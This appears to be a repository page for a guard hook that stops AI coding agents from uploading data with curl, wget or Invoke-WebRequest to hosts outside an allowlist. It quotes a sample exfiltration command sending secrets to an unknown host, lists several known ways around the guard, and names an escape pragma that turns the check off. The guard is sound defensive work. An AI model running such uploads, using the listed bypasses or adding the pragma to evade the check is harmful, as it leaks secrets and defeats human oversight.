Skip to content

open-coder-ai/block-unapproved-egress

v0.0.1Apache-2.0

Best-effort guard against exfiltration through the tool channel: a network command (curl/wget/Invoke-WebRequest) that UPLOADS data -- POST/PUT, --data/--form, --upload-file, --post-file -- to a host outside the egress allowlist. The allowlist defaults to package registries and code hosting and is meant to be extended with your org's own domains; a host matches by exact name or ".<entry>" suffix. Fetch-only traffic (a bare GET, pip install) is left alone -- the target is upload to an unapproved host, not normal dependency traffic. This is a tool-time FLOOR, not a network sandbox: it stops the obvious curl -d @secrets https://unknown reflex; containing a determined adversary needs real sandboxing. Known bypass classes include scheme-less URL targets (host extraction needs the http(s):// prefix), a request driven by curl's implicit ~/.curlrc, combined short flags, obfuscated payloads, non-standard clients, and egress via a language runtime. Escape: 'pragma: allowlist egress'.

GitHub
block-unapproved-egress

Best-effort guard against exfiltration through the tool channel: a network command (curl/wget/Invoke-WebRequest) that UPLOADS data -- POST/PUT, --data/--form, --upload-file, --post-file -- to a host outside the egress allowlist. The allowlist defaults to package registries and code hosting and is meant to be extended with your org's own domains; a host matches by exact name or ".<entry>" suffix. Fetch-only traffic (a bare GET, pip install) is left alone -- the target is upload to an unapproved host, not normal dependency traffic. This is a tool-time FLOOR, not a network sandbox: it stops the obvious curl -d @secrets https://unknown reflex; containing a determined adversary needs real sandboxing. Known bypass classes include scheme-less URL targets (host extraction needs the http(s):// prefix), a request driven by curl's implicit ~/.curlrc, combined short flags, obfuscated payloads, non-standard clients, and egress via a language runtime. Escape: 'pragma: allowlist egress'.